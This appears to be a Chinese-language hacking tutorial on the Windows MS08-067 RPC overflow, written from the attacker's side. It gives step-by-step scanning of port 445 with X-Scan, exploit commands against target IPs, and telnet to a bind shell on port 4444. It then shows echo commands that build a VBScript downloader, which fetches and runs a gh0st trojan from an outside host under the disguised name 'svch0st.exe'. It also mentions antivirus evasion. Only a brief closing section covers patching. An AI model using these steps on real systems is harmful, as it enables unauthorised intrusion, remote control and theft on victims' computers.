MS08-067溢出漏洞详解

利用远程溢出漏洞进行攻击是一种非常有效而且威力巨大的黑客攻击手段。

微软Windows系统已经有一年多没有爆出远程溢出漏洞了，微软爆出四年以来最严重的特大安全漏洞——MS08-067远程溢出漏洞，几乎影响所有Windows系统，并且很快成为黑客攻击和木马传播利用的手段，受此漏洞危害的用户系统非常之多！
一、MS08-067远程溢出漏洞简介

曾经的冲击波、震荡波等大规模攻击都是由于Windows的RPC服务漏洞造成的，MS08-067远程溢出漏洞也不例外。MS08-067远程溢出漏洞的原因是由于Windows系统中RPC存在缺陷造成的，Windows系统的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，如果受影响的系统收到了特制伪造的RPC请求，可能允许远程执行代码，导致完全入侵用户系统，以SYSTEM权限执行任意指令并获取数据，并获取对该系统的控制权，造成系统失窃及系统崩溃等严重问题。

受MS08-067远程溢出漏洞影响的系统非常多，受影响的操作系统有Windows XP /2000/Vista/2003等。除Windows Server 2008 Core外，基本上所有的Windows系统都会遭受此漏洞的攻击，特别是在Windows 2000、Windows XP和Windows Server 2003系统，攻击者可以利用此漏洞无需通过认证运行任意代码。这个漏洞还可能被蠕虫利用，此安全漏洞可以通过恶意构造的网络包直接发起攻击，并且攻击者可以获取完整权限，因此该漏洞很可能会被用于制作蠕虫以进行大规模的攻击。

二、漏洞主机扫描

在利用MS08-067远程溢出漏洞进行攻击前，首先要找到要攻击的主机目标。由于启用了RPC服务的Windows系统往往会开放445端口，因此攻击者只要使用专业端口扫描工具扫描445端口，即可获取可溢出的主机列表。这里使用的是老牌扫描工具——图标是一个瑞士军刀的X-Scan。

1.扫描设置

步骤1：运行X-Scan后，首先需要设置扫描的目标IP地址段。点击工具栏上的“扫描参数”按钮，选择“检测范围”选项，在“指定IP范围”里可以输入一个固定的IP地址或IP地址段。

步骤2：切换到“全局设置”→“扫描模块”选项，设置扫描模块为“开放服务”。

步骤3：在“插件设置”→“端口相关设置”中，将待检测的端口改为“445”。

步骤4：在“全局设置”→“其它设置”中，将扫描类型设置为“无条件扫描”。

步骤5：最后在“全局设置”→“扫描报告”中勾选“扫描完成后自动生成并显示报告”项，设置完毕后点击确定按钮，关闭对话框。

步骤6：点击工具栏上的“开始扫描”按钮，X-scan就开始工作了。确定后，即可开始进行扫描。扫描结束后，会自动弹出一个扫描结果窗口查看到扫描结果。如果发现开放了445端口的主机，那么这些主机只要未及时打上补丁，都很可能遭受攻击成为入侵者的肉鸡！

三、MS08-067溢出工具溢出攻击

现在我们可以一个一个的尝试溢出攻击扫描出来的目标了。首先，下载溢出攻击工具“MS08-067远程溢出漏洞利用工具”，并将其解压于C盘根目录下。点击“开始”菜单→“运行”，输入命令“CMD”，回车后打开命令提示符窗口。进入溢出工具所有的文件夹“Release”目录下，执行命令“MS08-067.exe”，可看到溢出工具命令使用格式为： MS08-067.exe <Server>，将其中的Server换为自己要攻击的远程主机就可以了。

1.建立空连接

在攻击前，首先要与目标主机建立一个空连接，这里假设我们要攻击的目标主机为“192.168.1.8”，可执行如下命令：

net use //192.168.1.9//ipc$

命令执行后，即可与远程主机建立一个空连接。

提示：

这一步不是必须的，如果有的主机无法溢出成功，可以先进行空连接。而有的主机则不必建立空连接，即可进行溢出。

2.执行远程溢出

建立空连接后，即可进行溢出攻击了。攻击命令如下：

MS08-067.exe 192.168.1.9

执行攻击命令后，溢出程序就会自动与远程主机建立SMB连接，并进行溢出攻击。

3.溢出返回结果

溢出攻击后，往往会有不同的返回结果提示信息，一般有三种情况：

如果返回的信息为：

SMB Connect OK!
Maybe Patched!

那么说明远程主机上可能已经打上了该溢出漏洞补丁，虽然可以建立SMB连接，但是无法攻击成功。

如果返回信息为：Make SMB Connection error:53或者Make SMB Connection error:1219，后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务，因此无法进行溢出。

还有一种情况是返回信息为：

SMB Connect OK!
RpcExceptionCode() = 1722

出现这样的情况，溢出失败，对方开启了防火墙。

那么最后就是成功的提示信息了：

SMB Connect OK!
Send Payload Over!

出现这样的提示，说明溢出成功，成功的发送溢出模块并绑定在了远程主机端口上。

4.远程登录

现在溢出成功后就可以远程登录了，登录命令很简单：

Tlenet IP地址 4444

直接用Telnet连接远程主机IP地址的4444端口就可以了。这里执行了命令：

Telnet 119.1.41.97 4444

成功的连接上了远程主机。在远程主机上执行命令“netstat -an”时，可以看到开放了4444端口，这就是溢出打开的端口。
四、VBS脚本入侵

现在我们可以在远程主机上任意添加管理员帐户，或者开启3389远程桌面进行连接。不过最简单的还是用木马来进行攻击。

1.配置木马

首先，配置一个木马服务端程序，这里我选择了“gh0st 3.6”，这个木马可以过瑞星和卡巴斯基的主动防御，非常强！将木马上传到某个空间中，然后在远程主机上执行命令：“tasklist”，命令执行后可查看远程主机上的所有进程。这里我们发现远程主机未开启任何防火墙和杀毒软件，而且发现对方正在玩QQ游戏斗地主。没有运行杀毒软件的话，可以直接上传木马，连免杀都不用。如果发现杀毒软件进程的话，可以有针对性的进行免杀。

2.生成下载脚本

然后在远程命令窗口中执行如下命令：

echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe

命令执行后，可在远程主机当前目录下生成一个名为“iget.vbe”的脚本文件。

在远程窗口中执行生成脚本和下载木马并运行时，速度一定要快，否则如果对方关机或者出现什么意外断开连接时，就无法再次连接了。因为这个漏洞只能溢出一次，而且溢出后只能连接一次。

3.下载运行木马

生成下载脚本后，就可以用脚本下载运行木马程序了，这里我们上传的木马连接地址为“http://xiaopuma.gicp.net:81/server.exe”，因此执行如下命令：

cscript iget.vbe http://xiaopuma.gicp.net:81/server.exe svch0st.exe

前面的“cscript”是用于执行脚本的，后面的“svch0st.exe”是下载木马后保存的文件名。命令执行后，木马就被下载到远程主机上了。在命令行窗口中执行“svch0st.exe”，即可成功运行木马程序。

用木马客户端连接木马，一台肉鸡就到手啦！笔者在测试过程中，发现MS08-067远程溢出成功率可达30%以上。一般来说，只要远程主机上未安装防火墙，并且同时开启了Computer Browser、Server、Workstation这三个系统服务，并且存在此溢出漏洞，通常都可以溢出成功。

五、防范MS08-067远程溢出

由于MS08-067远程溢出危害非常大，因此有必要对其进行防范。但是由于前段时间的微软“黑屏”事件让不少用户成了关闭了自动更新，宁可系统漏洞百出也不去打补丁，于是此漏洞在许多主机上都存在，给黑客利用MS08-067漏洞进行攻击提供了可乘之机。其实造成盗版用户黑屏的补丁是KB892130，这个漏洞的安全补丁编号是KB958644，我们只要安装此补丁就可以了，也可以通过第三方工具，下载补丁包打上该补丁。

另外，将Computer Browser、Server、Workstation这三个系统服务关闭，毕竟这三个服务在大多数情况下是用不到的。同时，为了防止以后RPC又出现什么漏洞，最好是安装防火墙，关闭本机的445端口。15:29:41